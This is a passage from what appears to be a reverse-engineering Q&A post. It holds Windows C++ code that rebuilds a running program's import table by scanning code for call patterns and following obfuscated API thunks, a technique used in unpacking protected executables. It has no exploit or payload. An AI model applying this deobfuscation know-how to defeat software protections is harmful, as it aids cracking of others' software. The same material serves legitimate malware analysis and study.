pExpDIR-&gt;AddressOfNameOrdinals);\n    DWORD j = 0;\n    char *pszName = NULL;\n    SIZE_T nLen = 0;\n    for (j = 0; j &lt; dwNames; j++)\n    {\n        if (pNameOrd[j] == i)\n        {\n            pszName = (char *)pDOSHDR + pNames[j];\n            nLen = strlen(pszName);\n            /*printf(\"%X\\t%04X\\t%s\\n\",\n                *(DWORD *)ptrAPI,\n                j,\n                pszName\n            );*/\n\n            //Save information\n            IAT_Import_Information iat_found = { 0 };\n            iat_found.IATAddress = ptrAPI;\n            strcpy(iat_found.IATFunctionName, pszName);\n            strcpy(iat_found.IATModuleName, iat_module_info-&gt;DllName);\n            listOfIATImports.push_back(iat_found);\n            if(ptrAPIObfuscated)\n                printf(\"Added Obfuscated %X %X, %s -&gt; %s\\n\", ptrAPI, ptrAPIObfuscated, iat_module_info-&gt;DllName, pszName);\n            else\n                printf(\"Added %X %X, %s -&gt; %s\\n\", ptrAPI, *(DWORD*)ptrAPI, iat_module_info-&gt;DllName, pszName);\n        }\n    }\n}\n\n/************************************************************************/\n/*\nFunction : rebuild Import Info according to IAT\nParams   : ptrIAT point to the page where IAT in\nppBuf [IN/OUT] is the memory space for the exe, may be updated\ndwImageSize is the exe's image size                                                                  */\n/************************************************************************/\nvoid FixImport(DWORD dwPID, DWORD ptrIAT, DWORD ptrIATEnd, DWORD dwImageSize)\n{\n    if (gs_ModuleList.size() == 0) {\n        printf(\"No Modules loaded, can't fix anything\\n\");\n        return;\n    }\n\n    //now verify every DWORD item is a valid FuncPtr with some dll.\n    //we need to snapshot the process.\n    std::list&lt;IAT_Module_Info&gt;::iterator it;\n    IAT_Module_Info iat_module_info;\n    printf(\"ptrIAT = %X ptrIATEnd = %X\\n\", ptrIAT, ptrIATEnd);\n\n    DWORD ptrIndex = ptrIAT;\n    DWORD dwModBase = NULL;  //????????????\n    DWORD dwModSize = NULL;\n    DWORD dwModHit = NULL;\n    while (TRUE)\n    {\n        //thz should always continue, even if BadPtr or invalid funcptr\n        if (ptrIndex &lt;= ptrIATEnd\n            &amp;&amp; IsBadReadPtr((const void *)*(DWORD *)ptrIndex, sizeof(DWORD)))\n        {\n            ptrIndex += sizeof(DWORD);\n            continue;\n        }\n\n        //now we may end, be careful\n        if (ptrIndex &gt; ptrIATEnd\n            &amp;&amp; (NULL == *(DWORD*)ptrIndex)\n            &amp;&amp; (NULL == *(DWORD*)(ptrIndex + sizeof(DWORD))))\n        {\n            break;\n        }\n\n        if (ptrIndex &gt; ptrIATEnd\n            &amp;&amp; IsBadReadPtr((const void *)*(DWORD *)ptrIndex, sizeof(DWORD))\n            )\n        {\n            ptrIndex += sizeof(DWORD);\n            continue;\n        }\n\n        //////////////////////////////////////////////////////////////////////////\n        //whether in a module range\n        dwModHit = NULL;\n\n        //??????????\n        if (*(DWORD *)ptrIndex &gt;= dwModBase\n            &amp;&amp; *(DWORD *)ptrIndex &lt; dwModBase + dwModSize)\n        {\n            dwModHit = dwModBase;\n        }\n\n        //have to loop every module\n        if (dwModHit == NULL)\n        {\n            for (it = gs_ModuleList.begin(); it != gs_ModuleList.end(); it++)\n            {\n                iat_module_info = *it;\n                dwModBase = (DWORD)iat_module_info.ImageBase;\n                dwModSize = (DWORD)iat_module_info.ImageSize;\n\n                if (*(DWORD *)ptrIndex &gt;= dwModBase\n                    &amp;&amp; *(DWORD *)ptrIndex &lt; dwModBase + dwModSize)\n                {\n                    //printf(\"ptrIndex %X %X, Mod: %X, Size: %X\\n\", *(DWORD *)ptrIndex, ptrIndex, dwModBase, dwModSize);\n                    //printf(\"Module: %s\\n\", iat_module_info.DllName);\n                    break;\n                }\n                memset(&amp;iat_module_info, 0, sizeof(IAT_Module_Info));\n            }//end for(\n        }//end if(NULL == \n\n        if (iat_module_info.ImageBase == 0 &amp;&amp; iat_module_info.ImageSize == 0) {\n            bool passDone = false;\n            DWORD deObfuscatedAddress = *(DWORD*)ptrIndex;\n            retryPass:\n            printf(\"%X %X\\n\", (BYTE)deObfuscatedAddress, *(BYTE*)deObfuscatedAddress);\n            if (*(BYTE*)deObfuscatedAddress == 0xE9) //JMP relative\n                deObfuscatedAddress = (*(DWORD*)(deObfuscatedAddress + 1)) + deObfuscatedAddress + 5;\n            else if (*(BYTE*)deObfuscatedAddress == 0x68) { //PUSH\n                printf(\"PUSH = %X %X\\n\", deObfuscatedAddress, *(DWORD*)(deObfuscatedAddress + 1));\n                deObfuscatedAddress = *(DWORD*)(deObfuscatedAddress + 1);\n            }\n            else if ((BYTE)deObfuscatedAddress == 0xC0) { //shl (invalid opcode)\n                printf(\"invalid = %X %X %X\\n\", ptrIndex, deObfuscatedAddress, (DWORD*)deObfuscatedAddress);\n                deObfuscatedAddress = *(DWORD*)(ptrIndex + insn_len((void*)ptrIndex));\n                printf(\"invalid = %X %X %X\\n\", ptrIndex, deObfuscatedAddress, (DWORD*)deObfuscatedAddress);\n                passDone = true;\n                goto retryPass;\n            } else if ((BYTE)deObfuscatedAddress == 0xC8) { //enter (invalid opcode)\n                printf(\"invalid = %X %X %X\\n\", ptrIndex, deObfuscatedAddress, (DWORD*)deObfuscatedAddress);\n                deObfuscatedAddress = *(DWORD*)(ptrIndex + insn_len((void*)ptrIndex));\n                printf(\"invalid = %X %X %X\\n\", ptrIndex, deObfuscatedAddress, (DWORD*)deObfuscatedAddress);\n                passDone = true;\n                goto retryPass;\n            } else {\n                if (passDone) goto continueGo;\n                printf(\"b unknown deob %X %X %X %X\\n\", ptrIndex, *(BYTE*)ptrIndex, *(DWORD*)ptrIndex, deObfuscatedAddress);\n                deObfuscatedAddress += insn_len((void*)deObfuscatedAddress);\n                printf(\"a unknown deob %X %X %X %X\\n\", ptrIndex, *(BYTE*)ptrIndex, *(DWORD*)ptrIndex, deObfuscatedAddress);\n                passDone = true;\n                goto retryPass;\n            }\n            continueGo:\n            for (it = gs_ModuleList.begin(); it != gs_ModuleList.end(); it++)\n            {\n                iat_module_info = *it;\n                dwModBase = (DWORD)iat_module_info.ImageBase;\n                dwModSize = (DWORD)iat_module_info.ImageSize;\n\n                if (deObfuscatedAddress &gt;= dwModBase\n                    &amp;&amp; deObfuscatedAddress &lt; dwModBase + dwModSize)\n                {\n                    //printf(\"ptrIndex %X %X, Mod: %X, Size: %X\\n\", deObfuscatedAddress, ptrIndex, dwModBase, dwModSize);\n                    //printf(\"Module: %s\\n\", iat_module_info.DllName);\n                    break;\n                }\n                memset(&amp;iat_module_info, 0, sizeof(IAT_Module_Info));\n            }\n            GetAPIInfo(ptrIndex, &amp;iat_module_info, deObfuscatedAddress);\n            ptrIndex += sizeof(DWORD);\n            memset(&amp;iat_module_info, 0, sizeof(IAT_Module_Info));\n            continue;\n        }\n\n        //now *ptrIndex in dwModBase\n        //now retrieve API info (Hint, name) from the module's export\n        //printf(\"ptrIndex %X %X, Mod: %X, Size: %X\\n\", *(DWORD *)ptrIndex, ptrIndex, dwModBase, dwModSize);\n        GetAPIInfo(ptrIndex, &amp;iat_module_info);\n        ptrIndex += sizeof(DWORD);\n    }\n}\n\n/************************************************************************/\n/*\nFunction : Get AddressOfEntryPoint  (or Original Entry Point)\nParams   : lpAddr is the Base where the exe mapped into\nReturn   : OEP (RVA)             */\n/************************************************************************/\nDWORD GetOEP(LPVOID lpAddr)\n{\n    PIMAGE_DOS_HEADER pDOSHDR = (PIMAGE_DOS_HEADER)lpAddr;\n    PIMAGE_NT_HEADERS pNTHDR = (PIMAGE_NT_HEADERS)((unsigned char *)pDOSHDR + pDOSHDR-&gt;e_lfanew);\n    return pNTHDR-&gt;OptionalHeader.AddressOfEntryPoint;\n}\n\n/************************************************************************/\n/*\nFunction : Retrieve a process's Import Info only by IAT\nParam    : lpAddr is the address the exe mapped into (within our space)\nptrIATEnd [out] used to receive the 1st IAT we found (FF25 XXXX, FF15YYYY)\nReturn   : the beginning of the page where IAT in\nSearch for FF25 XXXX,  or FF15 yyyy\nHelloWorld.exe\n004001E0 &gt; .  EA07D577      DD USER32.MessageBoxA\n004001E4      00000000      DD 00000000\n004001E8 &gt;/$  6A 00         PUSH 0                                   ; /Style = MB_OK|MB_APPLMODAL\n004001EA  |.  6A 00         PUSH 0                                   ; |Title = NULL\n004001EC  |.  6A 00         PUSH 0                                   ; |Text = NULL\n004001EE  |.  6A 00         PUSH 0                                   ; |hOwner = NULL\n004001F0  |.  E8 01000000   CALL &lt;JMP.&amp;USER32.MessageBoxA&gt;           ; \\MessageBoxA\n004001F5  \\.  C3            RETN\n004001F6   $- FF25 E0014000 JMP DWORD PTR DS:[&lt;&amp;USER32.MessageBoxA&gt;] ;  USER32.MessageBoxA\nNotepad.exe\n0100740B   .  FF15 38130001      CALL DWORD PTR DS:[&lt;&amp;msvcrt.__set_app_ty&gt;;  msvcrt.__set_app_type\nMSPaint.exe\n1000CA65    8B35 58D10110   MOV ESI,DWORD PTR DS:[&lt;&amp;KERNEL32.LCMapSt&gt;; kernel32.LCMapStringW\n*/\n/************************************************************************/\n\n/*\nNeed to check all of these\n\u2013 8B0D MOV ECX,[ADDRESS]\n\u2013 8B15 MOV EDX,[ADDRESS]\n\u2013 8B1D MOV EBX,[ADDRESS]\n\u2013 8B25 MOV ESP,[ADDRESS]\n\u2013 8B2D MOV EBP,[ADDRESS]\n\u2013 8B35 MOV ESI,[ADDRESS]\n\u2013 8B3D MOV EDI,[ADDRESS]\n\u2013 A1 MOV EAX,[ADDRESS]\n- FF15 CALL [ADDRESS]\n\u2013 FF25 JMP [ADDRESS]\n\u2013 FF35 PUSH [ADDRESS]\n*/\n\nDWORD SearchIAT(LPVOID lpAddr, DWORD dwImageSize, DWORD pImageBase, DWORD dwMaxIATImageSize, DWORD *ptrIATEnd)\n{\n    DWORD pImageSectionStart = 0;\n    DWORD instruction_length;\n    DWORD *ptrFuncAddr = NULL;     //like xxx in JMP DWORD PTR DS:[XXXX]\n    DWORD ptrFuncAddrHighest = NULL;\n    DWORD dwOEP = NULL;\n    BYTE *pCode = NULL;\n    DWORD i = NULL;\n    WORD  wJMP = 0x25FF;\n    WORD  wCALL = 0x15FF;\n\n    dwOEP = GetOEP(lpAddr);\n    i = dwOEP;\n    pCode = (BYTE *)((BYTE *)lpAddr + dwOEP);\n\n    // get the location of the module's IMAGE_NT_HEADERS structure\n    IMAGE_NT_HEADERS *pNtHdr = ImageNtHeader(lpAddr);\n    // section table immediately follows the IMAGE_NT_HEADERS\n    IMAGE_SECTION_HEADER *pSectionHdr = (IMAGE_SECTION_HEADER *)(pNtHdr + 1);\n\n    bool got = false;\n    for (int scn = 0; scn &lt; pNtHdr-&gt;FileHeader.NumberOfSections; ++scn)\n    {\n        char *name = (char*)pSectionHdr-&gt;Name;\n        DWORD SectionStart = (DWORD)lpAddr + pSectionHdr-&gt;VirtualAddress;\n        DWORD SectionEnd = (DWORD)lpAddr + pSectionHdr-&gt;VirtualAddress + pSectionHdr-&gt;Misc.VirtualSize - 1;\n\n        if (got) {\n            pImageSectionStart = SectionStart;\n            break;\n        }\n\n        if (SectionStart == pImageBase + dwOEP &amp;&amp; SectionEnd &lt; dwImageSize) {\n            got = true;\n            //next one is imports.\n            ++pSectionHdr;\n            continue;\n        }\n        ++pSectionHdr;\n    }\n\n    if (!pImageSectionStart)\n        pImageSectionStart = dwImageSize;\n\n    printf(\"Found OEP at %X, ImageSize = %X,%X\\n\", dwOEP, dwImageSize, pImageSectionStart);\n\n    //search for FF 25 XXXX, FF 15 YYYY from OEP, had better use Disasm engine \n    //but we just do it simply\n    while (i &lt; pImageSectionStart)\n    {\n        if (memcmp(pCode, &amp;wJMP, sizeof(WORD))\n            &amp;&amp; memcmp(pCode, &amp;wCALL, sizeof(WORD)))\n        {\n            //\n            instruction_length = insn_len(pCode);\n            pCode += instruction_length;\n            i += instruction_length;\n            continue;\n        }\n\n        //check illegal, *ptrFuncAddr &gt; pImageBase  &amp;&amp; *ptrFuncAddr &lt;= pImageBase + dwImageSize\n        ptrFuncAddr = (DWORD *)(pCode + sizeof(WORD));\n        if (*ptrFuncAddr &lt; (DWORD)pImageBase || *ptrFuncAddr &gt;= (DWORD)pImageBase + dwImageSize)\n        {\n            instruction_length = insn_len(pCode);\n            pCode += instruction_length;\n            i += instruction_length;\n            continue;\n        }\n\n        //need to fix relocation\n        *(DWORD *)ptrFuncAddr = (long)lpAddr + *(long *)ptrFuncAddr - (long)pImageBase;\n        //now found one item that may belongs to IAT\n        ptrFuncAddr = (DWORD *)*ptrFuncAddr;\n\n        if ((DWORD)ptrFuncAddr &gt; ptrFuncAddrHighest) {\n            ptrFuncAddrHighest = (DWORD)ptrFuncAddr;\n            printf(\"highest = %X\\n\", ptrFuncAddrHighest);\n        }\n\n        //recheck illegal, \n        //for system dlls, what about user dlls? well, whatever, there must be system dlls\n        //what if we found IAT for system dlls, so we found the user dlls.\n        //What if the IAT tables are not continous????????\n        if (*ptrFuncAddr &lt; dwMaxIATImageSize)\n        {\n            instruction_length = insn_len(pCode);\n            pCode += instruction_length;\n            i += instruction_length;\n            continue;\n        }\n        break;\n    }\n\n    //now it seems ptrFuncAddr points some item in IAT, \n    //make ptrFuncAddr point to the beginning of the page\n    //we use 0xFFFEFFFF, because ptrFuncAddr is the memory addr we allocated, not by loadlibrary\n    *ptrIATEnd = (DWORD)ptrFuncAddrHighest;\n    ptrFuncAddr = (DWORD*)(((DWORD)ptrFuncAddr &amp; 0xFFFFF000)\n        + ((DWORD)lpAddr &amp; 0x0FFF)\n        );\n    return (DWORD)ptrFuncAddr;\n\n    //return NULL;\n}\n\nunsigned long Get_Import_Address(char* DLL, char* Library, char* Import, int ordinal = -1)\n{\n    HMODULE mhLoadedDLL = NULL;\n    do\n    {\n        if (!DLL)\n            mhLoadedDLL = GetModuleHandle(NULL);\n        else\n            mhLoadedDLL = GetModuleHandle(DLL);\n        Sleep(100);\n    } while (!mhLoadedDLL);\n\n    MODULEINFO modinfo;\n    GetModuleInformation(GetCurrentProcess(), mhLoadedDLL, &amp;modinfo, sizeof(MODULEINFO));\n    DWORD ModuleSize = (unsigned long)modinfo.SizeOfImage;\n\n    PIMAGE_DOS_HEADER DosHeader = (PIMAGE_DOS_HEADER)mhLoadedDLL;\n    PIMAGE_NT_HEADERS NtHeader;\n    PIMAGE_IMPORT_DESCRIPTOR ImportDescriptor;\n    UINT Index = 0;\n\n\n    NtHeader = (PIMAGE_NT_HEADERS)(((PBYTE)DosHeader) + DosHeader-&gt;e_lfanew);\n    if (NtHeader-&gt;Signature != IMAGE_NT_SIGNATURE)\n        return 0;\n\n    ImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(((PBYTE)DosHeader) + NtHeader-&gt;OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);\n\n    if (mhLoadedDLL) {\n        ULONG Sz;\n        ImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)ImageDirectoryEntryToDataEx(mhLoadedDLL, TRUE, IMAGE_DIRECTORY_ENTRY_IMPORT, &amp;Sz, nullptr);\n    }\n\n    __try {\n        //\n        // Iterate over import descriptors/DLLs.\n        //\n        for (Index = 0; (ImportDescriptor[Index].Characteristics != 0 || ImportDescriptor[Index].Name); Index++) {\n            PSTR dllName = (PSTR)(((PBYTE)DosHeader) + ImportDescriptor[Index].Name);\n\n            if (_strcmpi(dllName, Library) == 0) {\n                // This the DLL we are after.\n                PIMAGE_THUNK_DATA Thunk;\n                PIMAGE_THUNK_DATA OrigThunk;\n\n                Thunk = (PIMAGE_THUNK_DATA)(((PBYTE)DosHeader) + ImportDescriptor[Index].FirstThunk);\n                OrigThunk = (PIMAGE_THUNK_DATA)(((PBYTE)DosHeader) + ImportDescriptor[Index].OriginalFirstThunk);\n\n                //Reset\n                Thunk = (PIMAGE_THUNK_DATA)(((PBYTE)DosHeader) + ImportDescriptor[Index].FirstThunk);\n                OrigThunk = (PIMAGE_THUNK_DATA)(((PBYTE)DosHeader) + ImportDescriptor[Index].OriginalFirstThunk);\n\n                for (; OrigThunk-&gt;u1.Function != NULL; OrigThunk++, Thunk++)\n                {\n                    if (ordinal != -1) {\n                        if ((OrigThunk-&gt;u1.Ordinal &amp; IMAGE_ORDINAL_FLAG) &amp;&amp; IMAGE_ORDINAL(OrigThunk-&gt;u1.Ordinal) == ordinal) //send ordinal\n                            return (DWORD)Thunk; //Address of import returns.\n                    }\n\n                    if (OrigThunk-&gt;u1.Ordinal &amp; IMAGE_ORDINAL_FLAG) { // Ordinal import - we can handle named imports only, so skip it.\n                        continue;\n                    }\n\n                    PIMAGE_IMPORT_BY_NAME importt = (PIMAGE_IMPORT_BY_NAME)(((PBYTE)DosHeader) + OrigThunk-&gt;u1.AddressOfData);\n\n                    if (_strcmpi(Import, (char*)importt-&gt;Name) == 0) {\n                        return (DWORD)Thunk; //Address of import returns.\n                    }\n                }\n\n                unsigned long ptrFuncsIndex = (unsigned long)ImportDescriptor[Index].FirstThunk + (DWORD)mhLoadedDLL;\n                DWORD impAddress = (DWORD)GetProcAddress(GetModuleHandle(Library), Import);\n\n                //First get all modules loaded, so you can find the maximum ImageBase+ImageSize for IAT Max Size calculation.\n                if (gs_ModuleList.size() == 0) {\n                    BOOL bRet = SnapShotModules((DWORD)GetCurrentProcess());\n                    if (!bRet)\n                    {\n                        printf(\"Failed to get Modules\\n\");\n                        return 0;\n                    }\n                }\n\n                DWORD dwMaxIATImageSize = 0x70000000;\n                if (gs_ModuleList.size() &gt; 0) {\n                    auto max_it = std::max_element(gs_ModuleList.begin(), gs_ModuleList.end(), [](const IAT_Module_Info&amp; l, const IAT_Module_Info&amp; h) {\n                        return l.ImageBase &lt; h.ImageBase;\n                    });\n\n                    if (max_it-&gt;ImageBase &gt; 0)\n                        dwMaxIATImageSize = (DWORD)max_it-&gt;ImageBase + max_it-&gt;ImageSize;\n\n                    printf(\"Highest Imported DLL = %X %s\\n\", max_it-&gt;ImageBase, max_it-&gt;DllName);\n                }\n                //now we do more, retrieve the Page where IAT in\n                DWORD ptrIATEnd = NULL;\n                DWORD ptrIAT = SearchIAT(mhLoadedDLL, ModuleSize, NtHeader-&gt;OptionalHeader.ImageBase, dwMaxIATImageSize, &amp;ptrIATEnd);\n\n                printf(\"Rebuilding IAT,Found IAT in page %X, IAT End %X\\n\", ptrIAT, ptrIATEnd);\n                if(listOfIATImports.size() == 0)\n                    FixImport((DWORD)GetCurrentProcess(), ptrIAT, ptrIATEnd, ModuleSize);\n\n                if (listOfIATImports.size() &gt; 0) {\n                    auto match = std::find_if(listOfIATImports.cbegin(), listOfIATImports.cend(), [Library, Import](const IAT_Import_Information&amp; s) {\n                        return _strcmpi(s.IATModuleName, Library) == 0 &amp;&amp; _strcmpi(s.IATFunctionName, Import) == 0;\n                    });\n\n                    if (match != listOfIATImports.cend()) {\n                        printf(\"Found IAT = %X, %s %s\\n\", match-&gt;IATAddress, match-&gt;IATModuleName, match-&gt;IATFunctionName);\n                    }\n\n                    std::list&lt;IAT_Import_Information&gt;::iterator i;\n                    for (i = listOfIATImports.begin();\n                        i != listOfIATImports.end();\n                        i++)\n                    {\n                        printf(\"Module: %s Import: %s Address: %X\\n\", i-&gt;IATModuleName, i-&gt;IATFunctionName, i-&gt;IATAddress);\n                    }\n\n                } else {\n                    printf(\"Couldn't find module %s, import %s\\n\", Library, Import);\n                }\n\n            }\n        }\n    }\n    __except (1) {\n        printf(\"Exception hit parsing imports\\n\");\n    }\n    return 0;\n}\n</code></pre>\n",
        "Title": "Import Reconstruction in runtime library? any open source ones or any import reconstructors source codes?",
        "Tags": "|iat|import-reconstruction|",
        "Answer": "<p>Here is my final code.. it works.. gets all imports except a missing a few like 10 at most.. which are hardly important anyways. It misses <code>GetCurrentProcessId()</code>,<code>GetCurrentProcess()</code>,<code>LoadLibrary</code>. It misses them because I have no idea how to decode <code>0xA1</code> (<code>MOV EAX, [XXXXXX]</code>) opcode or <code>0xFF35</code> opcode (<code>push [XXXXXX]</code>). Although this library is very useful to me and it will help me in many projects to come.. I will release it on github now.</p>\n\n<p><code>imports address revolver file contains this</code></p>\n\n<pre><code>#include &lt;psapi.h&gt; //GetModuleInformation IAT\n#include &lt;tlhelp32.h&gt; //MODULEENTRY32 IAT\n#include &lt;shlwapi.h&gt; //PathFindFileName IAT\n#include &lt;DbgHelp.h&gt; //detours, GetImports, PE information BaseAddressStart/End etc.\n#include &lt;unordered_set&gt; //std::unordered_set&lt;DWORD&gt;\n#include &lt;unordered_map&gt; //std::map\n#include &lt;string&gt;\n#include &lt;algorithm&gt;\n#include &lt;iterator&gt;\n#include &lt;vector&gt;\n\n#pragma comment(lib, \"dbghelp.lib\")\n#pragma comment(lib, \"psapi.lib\") //GetModuleInformation IAT\n#pragma comment(lib, \"Shlwapi.lib\") //PathFindFileName IAT\n\nstruct IAT_Module_Info\n{\n    DWORD ImageBase;\n    DWORD ImageSize;\n    BYTE* EntryPoint;\n    char DllName[256];\n    char DllFileName[1000];\n};\n\nstatic std::list&lt;IAT_Module_Info&gt; gs_ModuleList;\n\nstruct IAT_Import_Information\n{\n    DWORD IATAddress;\n    char IATModuleName[256];\n    char IATFunctionName[256];\n};\n\nstatic std::list&lt;IAT_Import_Information&gt; listOfIATImports;\n\n\nBOOL SnapShotModules(DWORD dwPID)\n{\n    BOOL           bRet = TRUE;\n\n    // Get all modules for this process:\n    std::vector&lt;HMODULE&gt; hModules;\n    const HMODULE hSelf = GetModuleHandle(NULL);\n    {\n        DWORD nModules;\n        EnumProcessModules(GetCurrentProcess(), NULL, 0, &amp;nModules);\n        hModules.resize(nModules);\n        EnumProcessModules(GetCurrentProcess(), &amp;hModules[0], nModules, &amp;nModules);\n    }\n\n    if (!hSelf)\n    {\n        printf(\"Invalid Process Handle\\n\");\n        return FALSE;\n    }\n\n    gs_ModuleList.clear();\n\n    IAT_Module_Info modulefullInfo = { 0 };\n    MODULEINFO modinfo = { 0 };\n    char moduleName[256] = { 0 };\n    char moduleFileName[1000] = { 0 };\n\n    char myProcessFilePath[1000] = { 0 };\n    GetModuleFileNameExA(GetCurrentProcess(), NULL, myProcessFilePath, 1000);\n    LPCSTR MyProcessFileName = PathFindFileName(myProcessFilePath);\n    for (auto hModule : hModules) {\n        if (hModule == hSelf)\n            continue;\n\n        GetModuleInformation(GetCurrentProcess(), hModule, &amp;modinfo, sizeof(modinfo));\n        GetModuleBaseName(GetCurrentProcess(), hModule, moduleName, sizeof(moduleName) / sizeof(char));\n        GetModuleFileName(hModule, moduleFileName, sizeof(moduleFileName) / sizeof(char));\n        if (_strcmpi(moduleName, MyProcessFileName) == 0) continue;\n        strcpy(modulefullInfo.DllName, moduleName);\n        modulefullInfo.ImageSize = modinfo.SizeOfImage;\n        modulefullInfo.ImageBase = (DWORD)modinfo.lpBaseOfDll;\n        modulefullInfo.EntryPoint = (BYTE*)modinfo.EntryPoint;\n        strcpy(modulefullInfo.DllFileName, moduleFileName);\n        gs_ModuleList.push_back(modulefullInfo);\n    }\n\n    return TRUE;\n}\n\n/************************************************************************/\n/*\nFunction : Retrieve API info by its addr and the module it belongs to\nParams   : pBuf points to the image mapped to our space*/\n/************************************************************************/\nvoid GetAPIInfo(DWORD ptrAPI, const IAT_Module_Info *iat_module_info, DWORD ptrAPIObfuscated = NULL)\n{\n    //try to load the dll into our space\n    HMODULE hDll = NULL;\n    if(iat_module_info)\n        hDll = LoadLibrary(iat_module_info-&gt;DllFileName);\n\n    if (NULL == hDll)\n        return;\n\n    //now ask for info from Export\n    PIMAGE_DOS_HEADER pDOSHDR = (PIMAGE_DOS_HEADER)hDll;\n    PIMAGE_NT_HEADERS pNTHDR = (PIMAGE_NT_HEADERS)((BYTE *)pDOSHDR + pDOSHDR-&gt;e_lfanew);\n    if (pNTHDR-&gt;OptionalHeader.NumberOfRvaAndSizes &lt; IMAGE_DIRECTORY_ENTRY_EXPORT + 1)\n        return;\n\n    PIMAGE_EXPORT_DIRECTORY pExpDIR = (PIMAGE_EXPORT_DIRECTORY)\n        ((BYTE *)pDOSHDR\n            + pNTHDR-&gt;OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);\n    DWORD dwFunctions = pExpDIR-&gt;NumberOfFunctions;\n    DWORD *ptrAddrFunc = (DWORD *)((BYTE *)pDOSHDR + pExpDIR-&gt;AddressOfFunctions);\n    DWORD i = 0;\n\n    //get index by address\n    for (i = 0; i &lt; dwFunctions; i++)\n    {\n        if (ptrAPIObfuscated &amp;&amp; ((DWORD)pDOSHDR + ptrAddrFunc[i]) == ptrAPIObfuscated)\n            break;\n        if (!ptrAPIObfuscated &amp;&amp; ((DWORD)pDOSHDR + ptrAddrFunc[i]) == *(DWORD*)ptrAPI)\n            break;\n    }\n\n    //not match\n    if (i == dwFunctions)\n        return;\n\n    //get name and ordinal\n    DWORD dwNames = pExpDIR-&gt;NumberOfNames;\n    DWORD *pNames = (DWORD *)((BYTE *)pDOSHDR + pExpDIR-&gt;AddressOfNames);\n    WORD *pNameOrd = (WORD *)((BYTE *)pDOSHDR + pExpDIR-&gt;AddressOfNameOrdinals);\n    DWORD j = 0;\n    char *pszName = NULL;\n    SIZE_T nLen = 0;\n    for (j = 0; j &lt; dwNames; j++)\n    {\n        if (pNameOrd[j] == i)\n        {\n            pszName = (char *)pDOSHDR + pNames[j];\n            nLen = strlen(pszName);\n            /*printf(\"%X\\t%04X\\t%s\\n\",\n                *(DWORD *)ptrAPI,\n                j,\n                pszName\n            );*/\n\n            //Save information\n            IAT_Import_Information iat_found = { 0 };\n            iat_found.IATAddress = ptrAPI;\n            strcpy(iat_found.IATFunctionName, pszName);\n            strcpy(iat_found.IATModuleName, iat_module_info-&gt;DllName);\n            listOfIATImports.push_back(iat_found);\n            if(ptrAPIObfuscated)\n                printf(\"Added Obfuscated %X %X, %s -&gt; %s\\n\", ptrAPI, ptrAPIObfuscated, iat_module_info-&gt;DllName, pszName);\n            else\n                printf(\"Added %X %X, %s -&gt; %s\\n\", ptrAPI, *(DWORD*)ptrAPI, iat_module_info-&gt;DllName, pszName);\n        }\n    }\n}\n\n/************************************************************************/\n/*\nFunction : rebuild Import Info according to IAT\nParams   : ptrIAT point to the page where IAT in\nppBuf [IN/OUT] is the memory space for the exe, may be updated\ndwImageSize is the exe's image size                                                                  */\n/************************************************************************/\nvoid FixImport(DWORD dwPID, DWORD ptrIAT, DWORD ptrIATEnd, DWORD dwImageSize)\n{\n    if (gs_ModuleList.size() == 0) {\n        printf(\"No Modules loaded, can't fix anything\\n\");\n        return;\n    }\n\n    //now verify every DWORD item is a valid FuncPtr with some dll.\n    //we need to snapshot the process.\n    std::list&lt;IAT_Module_Info&gt;::iterator it;\n    IAT_Module_Info iat_module_info;\n    printf(\"ptrIAT = %X ptrIATEnd = %X\\n\", ptrIAT, ptrIATEnd);\n\n    DWORD ptrIndex = ptrIAT;\n    DWORD dwModBase = NULL;  //\u5229\u7528\u5c40\u90e8\u6027\u539f\u7406\uff0c\u51cf\u5c11\u6bd4\u8f83\n    DWORD dwModSize = NULL;\n    DWORD dwModHit = NULL;\n    while (TRUE)\n    {\n        //thz should always continue, even if BadPtr or invalid funcptr\n        if (ptrIndex &lt;= ptrIATEnd\n            &amp;&amp; IsBadReadPtr((const void *)*(DWORD *)ptrIndex, sizeof(DWORD)))\n        {\n            ptrIndex += sizeof(DWORD);\n            continue;\n        }\n\n        //now we may end, be careful\n        if (ptrIndex &gt; ptrIATEnd\n            &amp;&amp; (NULL == *(DWORD*)ptrIndex)\n            &amp;&amp; (NULL == *(DWORD*)(ptrIndex + sizeof(DWORD))))\n        {\n            break;\n        }\n\n        if (ptrIndex &gt; ptrIATEnd\n            &amp;&amp; IsBadReadPtr((const void *)*(DWORD *)ptrIndex, sizeof(DWORD))\n            )\n        {\n            ptrIndex += sizeof(DWORD);\n            continue;\n        }\n\n        //////////////////////////////////////////////////////////////////////////\n        //whether in a module range\n        dwModHit = NULL;\n\n        //\u5c40\u90e8\u6027\u539f\u7406\uff0c\u51cf\u5c11\u904d\u5386\n        if (*(DWORD *)ptrIndex &gt;= dwModBase\n            &amp;&amp; *(DWORD *)ptrIndex &lt; dwModBase + dwModSize)\n        {\n            dwModHit = dwModBase;\n        }\n\n        //have to loop every module\n        if (dwModHit == NULL)\n        {\n            for (it = gs_ModuleList.begin(); it != gs_ModuleList.end(); it++)\n            {\n                iat_module_info = *it;\n                dwModBase = (DWORD)iat_module_info.ImageBase;\n                dwModSize = (DWORD)iat_module_info.ImageSize;\n\n                if (*(DWORD *)ptrIndex &gt;= dwModBase\n                    &amp;&amp; *(DWORD *)ptrIndex &lt; dwModBase + dwModSize)\n                {\n                    //printf(\"ptrIndex %X %X, Mod: %X, Size: %X\\n\", *(DWORD *)ptrIndex, ptrIndex, dwModBase, dwModSize);\n                    //printf(\"Module: %s\\n\", iat_module_info.DllName);\n                    break;\n                }\n                memset(&amp;iat_module_info, 0, sizeof(IAT_Module_Info));\n            }//end for(\n        }//end if(NULL == \n\n        if (iat_module_info.ImageBase == 0 &amp;&amp; iat_module_info.ImageSize == 0) {\n            bool passDone = false;\n            bool Found = false;\n            IAT_Module_Info iat_module_info_temp;\n\n            DWORD deObfuscatedAddress = *(DWORD*)ptrIndex;\n            retryPass:\n            printf(\"Check = %X %X %X\\n\", deObfuscatedAddress, (BYTE)deObfuscatedAddress, *(BYTE*)deObfuscatedAddress);\n\n            for (it = gs_ModuleList.begin(); it != gs_ModuleList.end(); it++)\n            {\n                iat_module_info_temp = *it;\n                dwModBase = (DWORD)iat_module_info_temp.ImageBase;\n                dwModSize = (DWORD)iat_module_info_temp.ImageSize;\n\n                if (deObfuscatedAddress &gt;= dwModBase\n                    &amp;&amp; deObfuscatedAddress &lt; dwModBase + 